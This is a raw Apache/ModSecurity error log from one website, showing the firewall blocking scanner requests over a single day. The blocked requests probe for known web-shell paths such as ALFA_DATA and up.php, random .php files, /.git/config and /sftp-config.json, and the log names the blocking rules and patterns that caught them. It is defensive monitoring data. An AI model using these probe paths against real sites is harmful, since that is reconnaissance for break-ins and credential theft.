[Tue Dec 09 14:54:27.211772 2025] [:error] [pid 7324:tid 7348] [client 45.138.16.233:65481] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHo-f70zXc9zH4rTLU3QAAAVM"]
[Tue Dec 09 14:54:27.223820 2025] [:error] [pid 7324:tid 7343] [client 45.138.16.233:65487] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTfHo-f70zXc9zH4rTLU3gAAAU4"]
[Tue Dec 09 14:54:27.788097 2025] [:error] [pid 59388:tid 59412] [client 45.138.16.233:59026] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHo97acjYK4IXwCBWkYgAAAJY"], referer: www.google.com
[Tue Dec 09 14:54:27.802158 2025] [:error] [pid 59388:tid 59403] [client 45.138.16.233:49525] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHo97acjYK4IXwCBWkYwAAAI0"], referer: www.google.com
[Tue Dec 09 14:54:27.804345 2025] [:error] [pid 12069:tid 12082] [client 45.138.16.233:49524] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHo2wNDNgPF6LHYDTdkAAAAEs"], referer: www.google.com
[Tue Dec 09 14:54:27.805011 2025] [:error] [pid 7325:tid 7371] [client 45.138.16.233:57707] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHowqEQlZnpyQAsW1bAQAAAY8"]
[Tue Dec 09 14:54:27.832890 2025] [:error] [pid 7382:tid 7410] [client 45.138.16.233:57746] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTfHoydEXhamGkzwq-gyqwAAAdA"]
[Tue Dec 09 14:54:28.419015 2025] [:error] [pid 7325:tid 7363] [client 45.138.16.233:49586] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHpAqEQlZnpyQAsW1bBwAAAYc"], referer: www.google.com
[Tue Dec 09 14:54:28.426715 2025] [:error] [pid 7324:tid 7331] [client 45.138.16.233:49587] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-plain.php"] [unique_id "aTfHpOf70zXc9zH4rTLU5wAAAUI"], referer: www.google.com
[Tue Dec 09 14:54:28.427723 2025] [:error] [pid 7287:tid 7305] [client 45.138.16.233:49591] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHpP3UQf3HGDaVS5P-WgAAABA"], referer: www.google.com
[Tue Dec 09 14:54:28.440171 2025] [:error] [pid 7382:tid 7415] [client 45.138.16.233:49596] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/up.php"] [unique_id "aTfHpCdEXhamGkzwq-gyrgAAAdU"]
[Tue Dec 09 14:54:28.471001 2025] [:error] [pid 7325:tid 7378] [client 45.138.16.233:49628] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTfHpAqEQlZnpyQAsW1bCQAAAZY"]
[Tue Dec 09 14:54:29.660247 2025] [:error] [pid 7382:tid 7409] [client 45.138.16.233:57676] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHpSdEXhamGkzwq-gytgAAAc8"], referer: www.google.com
[Tue Dec 09 14:54:29.677927 2025] [:error] [pid 12069:tid 12081] [client 45.138.16.233:57682] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHpWwNDNgPF6LHYDTdyQAAAEo"], referer: www.google.com
[Tue Dec 09 14:54:30.890602 2025] [:error] [pid 7325:tid 7380] [client 45.138.16.233:49270] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHpgqEQlZnpyQAsW1bNQAAAZg"], referer: www.google.com
[Tue Dec 09 14:54:30.918280 2025] [:error] [pid 7324:tid 7339] [client 45.138.16.233:49280] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHpuf70zXc9zH4rTLVEgAAAUo"], referer: www.google.com
[Tue Dec 09 14:54:32.131635 2025] [:error] [pid 7325:tid 7361] [client 45.138.16.233:50019] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHqAqEQlZnpyQAsW1bQQAAAYU"], referer: www.google.com
[Tue Dec 09 14:54:32.156960 2025] [:error] [pid 7324:tid 7336] [client 45.138.16.233:50030] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHqOf70zXc9zH4rTLVHwAAAUc"], referer: www.google.com
[Tue Dec 09 14:54:33.328970 2025] [:error] [pid 7287:tid 7292] [client 45.138.16.233:55679] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHqf3UQf3HGDaVS5P-eAAAAAM"], referer: www.google.com
[Tue Dec 09 14:54:33.347315 2025] [:error] [pid 12069:tid 12094] [client 45.138.16.233:58847] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHqWwNDNgPF6LHYDTeCAAAAFc"], referer: www.google.com
[Tue Dec 09 14:54:34.540330 2025] [:error] [pid 7287:tid 7312] [client 45.138.16.233:49478] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHqv3UQf3HGDaVS5P-fQAAABc"], referer: www.google.com
[Tue Dec 09 14:54:34.544704 2025] [:error] [pid 7287:tid 7306] [client 45.138.16.233:49678] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHqv3UQf3HGDaVS5P-fgAAABE"], referer: www.google.com
[Tue Dec 09 15:00:41.686458 2025] [:error] [pid 7382:tid 7402] [client 103.77.106.81:51760] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aTfJGSdEXhamGkzwq-g1qQAAAcg"]
[Tue Dec 09 18:02:52.605874 2025] [:error] [pid 36456:tid 36477] [client 195.178.110.144:51621] [client 195.178.110.144] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aTfzzB0pAnOyfXl_v431TAAAAJM"]
[Tue Dec 09 19:53:49.303971 2025] [:error] [pid 30591:tid 30612] [client 35.192.77.233:53255] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTgNzRG-g76drVdWQUVtCwAAAFI"]
[Tue Dec 09 19:53:49.739771 2025] [:error] [pid 5276:tid 5297] [client 35.192.77.233:59125] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aTgNzUtSXwbewdwyu-1i8QAAANM"]
[Tue Dec 09 19:53:50.149339 2025] [:error] [pid 5276:tid 5296] [client 35.192.77.233:62316] [client 35.192.77.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aTgNzktSXwbewdwyu-1jDwAAANI"]
[Tue Dec 09 20:31:32.503907 2025] [proxy_fcgi:error] [pid 30500:tid 30573] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:32.648033 2025] [proxy_fcgi:error] [pid 30500:tid 30570] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:32.774856 2025] [proxy_fcgi:error] [pid 30500:tid 30569] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:32.899302 2025] [proxy_fcgi:error] [pid 30500:tid 30561] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:33.023441 2025] [proxy_fcgi:error] [pid 30500:tid 30567] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:33.163180 2025] [proxy_fcgi:error] [pid 30500:tid 30579] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:33.553835 2025] [proxy_fcgi:error] [pid 30500:tid 30563] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:33.847310 2025] [proxy_fcgi:error] [pid 30500:tid 30573] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:33.985202 2025] [proxy_fcgi:error] [pid 30500:tid 30576] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:34.110296 2025] [proxy_fcgi:error] [pid 30500:tid 30562] [client 4.190.219.177:60946] AH01071: Got error 'Primary script unknown'
[Tue Dec 09 20:31:34.232465 2025] [:error] [pid 30500:tid 30569] [client 4.190.219.177:60946] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cyanamids.php"] [unique_id "aTgWpq2eIIK3JPWHCXXf1QAAAYw"]
[Tue Dec 09 20:31:34.835441 2025] [:error] [pid 5276:tid 5280] [client 4.190.219.177:10930] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cyanamids.php"] [unique_id "aTgWpktSXwbewdwyu-1tcwAAAMI"]
[Tue Dec 09 20:31:35.404942 2025] [:error] [pid 30500:tid 30557] [client 4.190.219.177:60954] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cyanamids.php"] [unique_id "aTgWp62eIIK3JPWHCXXf4AAAAYA"]
[Tue Dec 09 20:31:36.322106 2025] [:error] [pid 30498:tid 30506] [client 4.190.219.177:60911] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cyanamids.php"] [unique_id "aTgWqB2mcZJQ5qP_RC0yJwAAAAQ"]
[Tue Dec 09 20:31:37.543002 2025] [:error] [pid 30591:tid 30612] [client 4.190.219.177:63324] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disengaging.php"] [unique_id "aTgWqRG-g76drVdWQUV51QAAAFI"]
[Tue Dec 09 20:31:38.173280 2025] [:error] [pid 30498:tid 30518] [client 4.190.219.177:60920] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disengaging.php"] [unique_id "aTgWqh2mcZJQ5qP_RC0yKQAAABA"]
[Tue Dec 09 20:31:39.080379 2025] [:error] [pid 30591:tid 30614] [client 4.190.219.177:60932] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disengaging.php"] [unique_id "aTgWqxG-g76drVdWQUV51wAAAFQ"]
[Tue Dec 09 20:31:39.489463 2025] [:error] [pid 30500:tid 30560] [client 4.190.219.177:10935] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disengaging.php"] [unique_id "aTgWq62eIIK3JPWHCXXf-QAAAYM"]
[Tue Dec 09 20:31:40.000449 2025] [:error] [pid 30591:tid 30594] [client 4.190.219.177:30695] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disquiet.php"] [unique_id "aTgWqxG-g76drVdWQUV52QAAAEA"]
[Tue Dec 09 20:31:40.606624 2025] [:error] [pid 30591:tid 30597] [client 4.190.219.177:10906] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disquiet.php"] [unique_id "aTgWrBG-g76drVdWQUV52wAAAEM"]
[Tue Dec 09 20:31:41.371164 2025] [:error] [pid 5276:tid 5298] [client 4.190.219.177:10249] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disquiet.php"] [unique_id "aTgWrUtSXwbewdwyu-1tegAAANQ"]
[Tue Dec 09 20:31:41.899643 2025] [:error] [pid 5276:tid 5287] [client 4.190.219.177:60976] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/disquiet.php"] [unique_id "aTgWrUtSXwbewdwyu-1tewAAAMk"]
[Tue Dec 09 20:31:42.391359 2025] [:error] [pid 5276:tid 5296] [client 4.190.219.177:60906] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duplicand.php"] [unique_id "aTgWrktSXwbewdwyu-1tfQAAANI"]
[Tue Dec 09 20:31:42.825465 2025] [:error] [pid 5276:tid 5286] [client 4.190.219.177:60024] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duplicand.php"] [unique_id "aTgWrktSXwbewdwyu-1tfwAAAMg"]
[Tue Dec 09 20:31:43.597958 2025] [:error] [pid 30499:tid 30542] [client 4.190.219.177:10940] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duplicand.php"] [unique_id "aTgWr00x3OqZTOPp7cn0AgAAAUw"]
[Tue Dec 09 20:31:44.022335 2025] [:error] [pid 30499:tid 30540] [client 4.190.219.177:30714] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duplicand.php"] [unique_id "aTgWsE0x3OqZTOPp7cn0BAAAAUo"]
[Tue Dec 09 20:31:44.495126 2025] [:error] [pid 30591:tid 30610] [client 4.190.219.177:10245] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/parturiency.php"] [unique_id "aTgWsBG-g76drVdWQUV54AAAAFA"]
[Tue Dec 09 20:31:44.905949 2025] [:error] [pid 30499:tid 30546] [client 4.190.219.177:60916] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/parturiency.php"] [unique_id "aTgWsE0x3OqZTOPp7cn0BgAAAVA"]
[Tue Dec 09 20:31:45.314236 2025] [:error] [pid 30500:tid 30558] [client 4.190.219.177:10885] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/parturiency.php"] [unique_id "aTgWsa2eIIK3JPWHCXXgAAAAAYE"]
[Tue Dec 09 20:31:45.884331 2025] [:error] [pid 5276:tid 5291] [client 4.190.219.177:60987] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/parturiency.php"] [unique_id "aTgWsUtSXwbewdwyu-1tgwAAAM0"]
[Tue Dec 09 20:31:46.354359 2025] [:error] [pid 30500:tid 30575] [client 4.190.219.177:30696] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tithings.php"] [unique_id "aTgWsq2eIIK3JPWHCXXgBAAAAZI"]
[Tue Dec 09 20:31:46.942622 2025] [:error] [pid 30499:tid 30532] [client 4.190.219.177:60944] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tithings.php"] [unique_id "aTgWsk0x3OqZTOPp7cn0CAAAAUI"]
[Tue Dec 09 20:31:47.491151 2025] [:error] [pid 36456:tid 36472] [client 4.190.219.177:10300] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tithings.php"] [unique_id "aTgWsx0pAnOyfXl_v40p_AAAAI4"]
[Tue Dec 09 20:31:47.970176 2025] [:error] [pid 30500:tid 30580] [client 4.190.219.177:10256] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tithings.php"] [unique_id "aTgWs62eIIK3JPWHCXXgBwAAAZc"]
[Tue Dec 09 20:31:48.557667 2025] [:error] [pid 30591:tid 30604] [client 4.190.219.177:60865] [client 4.190.219.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ww5.php"] [unique_id "aTgWtBG-g76drVdWQUV56gAAAEo"]
